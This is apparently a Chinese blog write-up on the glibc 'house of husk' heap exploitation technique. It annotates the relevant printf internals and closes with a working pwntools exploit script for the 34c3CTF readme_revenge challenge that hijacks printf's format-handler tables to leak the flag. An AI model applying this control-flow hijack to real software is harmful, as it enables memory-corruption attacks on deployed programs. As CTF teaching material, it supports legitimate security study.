本文参考了下面两篇文章
https://xz.aliyun.com/news/14821
https://zikh26.github.io/posts/6c83c2a2.html
介绍:house of husk是对printf函数内部进行注册自定义格式化字符串函数的指针进行劫持,glibc 2.23-2.35该手法均可用
原理
执行printf函数时,__printf_function_table 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针,在这期间并没有进行任何地址的合法性检查
那我们如果劫持__printf_function_table非空,劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是 backdoor(),在执行printf函数时就可以劫持程序执行流到backdoor()
利用方法
- __printf_function_table 和__printf_arginfo_table 分别写为 chunk A 和 chunk B 的地址
- 设占位符为 α,此时 chunk B 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)
spec是格式化字符串,比如最后调用的是printf("%X\n",a)那么应该将__printf_arginfo_table[88]的位置写入backdoor(),其中88是ord(‘X’)
- 该技巧一般和 largebin attack或unsortedbin attack 结合起来
- 还可以使用relative overwrite
- 还有一个__printf_va_arg_table 也是可以利用的,但是条件比较苛刻
Relative overwrite
1首先利用largebin attack或unsortedbin attack修改gloabl_max_fast(定义了 fastbin 能够处理的 chunk 最大大小)
fastbinsY数组位于main_area中,当free一个chunk时,会向fastbinsY数组中写入地址
2如果修改了gloabl_max_fast,释放是个大chunk时就会造成数组越界从而向两个table中写入堆地址
源码解析
链条为下面五个部分
printf->vfprintf
vfprintf->do_positional
do_positional->printf_positional
printf_positional->__parse_one_specmb(该函数执行自定义格式化字符对应的函数指针)
__parse_one_specmb->anyaddr
__register_printf_function函数
格式化字符的注册函数,实际上是__register_printf_specifier函数的封装
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX) #UCHAR_MAX=0xff
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
|
先做了一个判断 判断spec是否存在ascil码,再判断printf_function_table == NULL 就设定一个calloc来分配两个索引表,并将地址存放到 __printf_function_table和 __printf_arginfo_table中,两个表大小都是0x100可以给0x0-0xff每个字符注册一个函数指针
printf->vfprintf
1
2
3
4
5
6
7
8
9
10
11
12
|
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
|
vfprintf->do_positional
1
2
3
4
5
|
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
|
这里检查三个table,只要有一个非空就执行do_positional
通常劫持的是__printf_function_table
do_positional->printf_positional
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
......
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
|
调用了printf_positional函数
printf_positional->__parse_one_specmb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
---------------------------------------
/* Parse the format specifier. */
#ifdef COMPILE_WPRINTF
nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif//调用__parse_one_specmb
}
/* Determine the number of arguments the format string consumes. */
nargs = MAX (nargs, max_ref_arg);
|
__parse_one_specmb->anyaddr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
unsigned int n;
size_t nargs = 0;
/* Skip the '%'. */
++format;
-----------------------------------关键代码
if (__builtin_expect (__printf_modifier_table == NULL, 1)
|| __printf_modifier_table[*format] == NULL
|| HANDLE_REGISTERED_MODIFIER (&format, &spec->info) != 0)
...
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
|
34c3CTF readme_revenge
1
2
3
4
5
6
7
8
9
10
11
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
_isoc99_scanf((unsigned int)&I010s, (unsigned int)&name, (_DWORD)envp);
printf((unsigned int)"Hi, %s. Bye.\n", (unsigned int)&name, v3, v4, v5, v6);
return 0;
}
|
程序是静态编译的,flag直接储存在data段,且house_of_husk相关的俩个table地址均比name高,可以修改__printf_function_table非空,__printf_arginfo_table为任意地址A满足*(A+8*0x73)=_stack_chk_fail_local地址
最后把__libc_argv[0]地址改为flag地址
1
2
|
调用_stack_chk_fail_local时 会打印出 __libc_argv[0] 指向的字符串
该题中 __libc_argv[0]地址也比name高
|

只修改上述两个table会触发__parse_one_specmb中的下面代码
1
2
3
|
if (__builtin_expect (__printf_modifier_table == NULL, 1)
|| __printf_modifier_table[*format] == NULL
|| HANDLE_REGISTERED_MODIFIER (&format, &spec->info) != 0)
|
需要控制__printf_modifier_table为空,__printf_modifier_table地址为__printf_function_table地址+8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import*
context(log_level='debug',arch='amd64')
p=process('./pwn')
#%s is 0x73
arg_table=0x6b7aa8 #distance fun_table 0x80
fun_table=0x6b7a28#distance 0x648
name=0x6B73E0
flag=0x6b4040
#__printf_modifier_table 位于 __printf_function_table 地址加 8 的位置
libc_argv=0x6b7980 #distance 0x5a0
#__stack_chk_fail_local
leak=0x4359B0
pay=p64(flag)+b'a'*0x598
pay+=p64(name)#libc_argv[0]
pay+=b'a'*(0x648-0x5a0-8)+p64(0xdeadbeef)#fun_table
pay+=p64(0)#__printf_modifier_table
pay+=b'a'*0x70
pay+=p64(arg_table)
pay+=p64(0)*0x72+p64(leak)
gdb.attach(p,'b *0x400A5C')
p.sendline(pay)
p.interactive()
|